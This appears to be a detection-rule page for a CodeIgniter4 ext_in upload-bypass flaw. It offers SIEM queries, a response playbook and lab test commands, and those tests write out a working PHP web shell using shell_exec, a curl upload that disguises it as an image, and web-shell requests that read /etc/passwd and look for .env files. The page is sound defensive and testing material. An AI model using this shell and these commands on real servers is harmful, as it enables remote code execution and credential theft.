Detect CVE-2026-48062: CodeIgniter4 File Upload Extension Validation Bypass (ext_in Rule) in IBM QRadar
CVE-2026-48062 affects CodeIgniter4 framework versions prior to 4.7.2. The `ext_in` validation rule fails to properly validate file extensions during upload, allowing attackers to bypass extension restrictions and upload arbitrary files including web shells or malicious executables. This unrestricted file upload vulnerability (CWE-434) has a CVSS score of 9.8 and a public proof-of-concept. Successful exploitation can lead to remote code execution on the hosting server.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
QRadar Detection Query
SELECT DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
URL,
username,
"File Name",
"File Path",
magnitude,
category
FROM events
WHERE (category = 5018 OR category = 5019 OR LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'Nginx', 'PHP-FPM'))
AND (
(URL MATCHES '(?i).*(upload|writable|public|tmp|cache).*\.(php[0-9]?|phtml|phar|shtml|pht)$')
OR ("File Path" MATCHES '(?i).*(upload|writable|public).*' AND "File Name" MATCHES '(?i).*\.(php[0-9]?|phtml|phar|shtml|pht)$')
)
AND QIDNAME(qid) NOT ILIKE '%allowed%'
LAST 7 DAYS
ORDER BY starttime DESC
LIMIT 500 QRadar AQL query detecting HTTP requests and file events involving suspicious script extensions in CodeIgniter4 upload paths, correlating web access logs with file creation events to surface potential ext_in bypass exploitation.
Data Sources
Required Tables
False Positives & Tuning
- Authorized content management operations uploading PHP template components
- Administrative file management through web-based control panels
- Penetration testing activities against the web application with prior authorization
- False extension matching on legitimate filenames containing PHP-like substrings
Other platforms for CVE-2026-48062
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate CodeIgniter4 ext_in Bypass via Crafted Multipart Upload
Expected signal: HTTP POST to upload endpoint with Content-Type image/jpeg but .php file extension; file creation event in upload directory for a .php file; web server process as the initiating process for the file write
- Test 2Web Shell Execution Verification After Upload
Expected signal: HTTP GET requests to PHP file path in upload directory; process tree showing web server (apache2/nginx/php-fpm) spawning shell or system binaries (id, whoami, uname); network connections to external IP if reverse shell payload used
- Test 3Filesystem Reconnaissance via Uploaded Web Shell
Expected signal: Process events for cat, ls, find spawned by php-fpm or apache2 with web server UID; file read events on /etc/passwd and .env files initiated by web server process; auditd SYSCALL records for execve by www-data user
References (6)
- https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-2gr4-ppc7-7mhx
- https://github.com/codeigniter4/CodeIgniter4/commit/29299349e7d232e9532767c7cefaed30957309be
- https://codeigniter.com/user_guide/libraries/uploaded_files.html#moving-files
- https://codeigniter.com/user_guide/libraries/validation.html#rules-for-file-uploads
- https://github.com/codeigniter4/CodeIgniter4/blob/develop/CHANGELOG.md
- https://github.com/advisories/GHSA-2gr4-ppc7-7mhx
Response Playbook
Triage
- Identify the web server hosting the CodeIgniter4 application and query web access logs for POST/PUT requests to upload endpoints with PHP-family file extensions within the past 72 hours.
- Confirm the CodeIgniter4 framework version via `composer show codeigniter4/framework` or by inspecting `system/CodeIgniter.php` — versions below 4.7.2 are vulnerable.
- Review the uploaded file list in the application's configured upload directory (typically `writable/uploads/`) for any unexpected PHP, PHTML, or PHAR files using `find /var/www -name '*.php' -newer /var/www/index.php -path '*/uploads/*'`.
- Check web server access logs for HTTP 200 responses to requests targeting any uploaded PHP file path, which would indicate successful web shell execution rather than merely a successful upload.
Containment
- Immediately remove or rename any discovered PHP/script files from upload directories and block direct HTTP access to upload paths via web server configuration (e.g., add `location ~* /uploads/.*\.php { deny all; }` to Nginx or equivalent Apache deny rules).
- Apply emergency WAF rules blocking POST/PUT requests with PHP-family extensions in upload directory paths, and consider taking the application offline until the framework is patched to 4.7.2 or later.
Evidence Collection
- Capture a forensic copy of the web server access log, error log, and the upload directory file listing with timestamps (`ls -laR writable/uploads/`) before any remediation to preserve evidence of exploitation timing and source IPs.
- Collect memory dump or process listing from the web server process to detect any active web shell sessions or spawned child processes, and capture network connection state (`ss -tnp` or `netstat -tnp`) to identify active reverse shell connections.
Escalation Criteria
- !Escalate immediately to incident response if any uploaded PHP file has been accessed (HTTP 200 response in logs) or if outbound connections from the web server process to external IPs are detected, indicating active post-exploitation.
- !Escalate if lateral movement indicators are present, such as credential access attempts, internal network scanning from the web server host, or new user account creation on the system.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing POST requests to upload endpoints with .php extensions and HTTP 200 response codes - >
File system entries in writable/uploads/ or configured upload paths with PHP-family extensions and recent modification timestamps - >
Web server error logs showing PHP execution errors from attacker-uploaded scripts - >
Bash history or auditd records showing commands run under the web server user (www-data, apache, nginx) account
Tuning Guidance
Reduce false positives by baselining legitimate upload directory paths and file types for each web application. Exclude known CI/CD service account SIDs or usernames from file creation alerts. For web access log detections, filter to HTTP 200/201 responses only and exclude known developer source IP ranges. Consider adding application-layer context by correlating with CodeIgniter4 session logs to distinguish authenticated admin uploads from anonymous exploitation attempts. Adjust severity downward to HIGH (from CRITICAL) for environments that have already patched to 4.7.2 but retain the rule for detection of exploitation attempts against the patched surface.
Hunting Queries
Threat hunt for PHP-family script files created by web server processes in upload directories over the past 30 days, to identify any historical exploitation of CodeIgniter4 ext_in bypass before detection rules were in place.
DeviceFileEvents
| where TimeGenerated > ago(30d)
| where FolderPath has_any ("uploads", "writable", "public")
| where FileName has_any (".php", ".phtml", ".phar", ".php5", ".php7")
| where InitiatingProcessFileName has_any ("php", "php-fpm", "httpd", "apache2", "nginx")
| summarize FileCount=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceName, FileName, FolderPath, InitiatingProcessFileName
| order by LastSeen desc index=os sourcetype="auditd" key=SYSCALL syscall IN (open, creat, openat) success=yes
| eval suspicious=if(match(name, "(?i)\.(php[0-9]?|phtml|phar|shtml|pht)$") AND match(name, "(?i)(upload|writable|public)"), 1, 0)
| where suspicious=1
| stats count by host, name, uid, exe, _time
| sort -_time Atomic Red Team Tests
Simulate an attacker bypassing the ext_in validation rule by uploading a PHP web shell with a manipulated Content-Type or double extension to a CodeIgniter4 upload endpoint. This tests whether the application accepts the file and whether endpoint detection fires.
Command
curl -s -X POST http://localhost:8080/upload \
-F 'userfile=@/tmp/test_shell.php;type=image/jpeg' \
-F 'filename=shell.jpg.php' \
-H 'User-Agent: Mozilla/5.0 (Test)' \
-w "\nHTTP Status: %{http_code}\n"
# Create test payload first:
echo '<?php echo "CVE-2026-48062-test: ".phpversion(); ?>' > /tmp/test_shell.php Cleanup
rm -f /tmp/test_shell.php && curl -s -X DELETE http://localhost:8080/admin/uploads/shell.jpg.php || true Expected Telemetry
HTTP POST to upload endpoint with Content-Type image/jpeg but .php file extension; file creation event in upload directory for a .php file; web server process as the initiating process for the file write
Expected Detection
Alert on file with .php extension created in upload/writable directory by web server process; web access log alert on POST to upload path resulting in HTTP 200 with .php in the URI
After successfully uploading a PHP web shell via the ext_in bypass, simulate attacker executing commands through the web shell to verify RCE and trigger process-execution based detections.
Command
# Assumes shell was uploaded to /var/www/html/writable/uploads/shell.php
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=id'
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=whoami'
curl -s 'http://localhost:8080/writable/uploads/shell.php?cmd=uname+-a' Cleanup
rm -f /var/www/html/writable/uploads/shell.php Expected Telemetry
HTTP GET requests to PHP file path in upload directory; process tree showing web server (apache2/nginx/php-fpm) spawning shell or system binaries (id, whoami, uname); network connections to external IP if reverse shell payload used
Expected Detection
Process execution alert for system utility spawned by web server parent process; EQL sequence rule firing for file creation followed by web-server-spawned process execution; EDR alert on command injection via web shell
Simulate attacker performing post-exploitation filesystem reconnaissance using an uploaded PHP web shell to enumerate server files, users, and configuration, testing detection of lateral discovery activity originating from the web server process.
Command
# Create a reconnaissance payload (lab environment only)
cat > /tmp/recon_shell.php << 'EOF'
<?php
$cmd = $_GET['c'] ?? 'id';
echo '<pre>'.shell_exec(escapeshellcmd($cmd)).'</pre>';
EOF
# Simulate upload
cp /tmp/recon_shell.php /var/www/html/writable/uploads/recon.php
# Simulate attacker commands via web shell
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=cat+/etc/passwd'
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=ls+-la+/var/www/'
curl -s 'http://localhost:8080/writable/uploads/recon.php?c=find+/var/www+-name+.env+2>/dev/null' Cleanup
rm -f /tmp/recon_shell.php /var/www/html/writable/uploads/recon.php Expected Telemetry
Process events for cat, ls, find spawned by php-fpm or apache2 with web server UID; file read events on /etc/passwd and .env files initiated by web server process; auditd SYSCALL records for execve by www-data user
Expected Detection
Alert on sensitive file access (/etc/passwd, .env) by web server process; SIEM correlation rule firing on discovery commands executed under web server account; EDR behavioral detection on credential access from php process lineage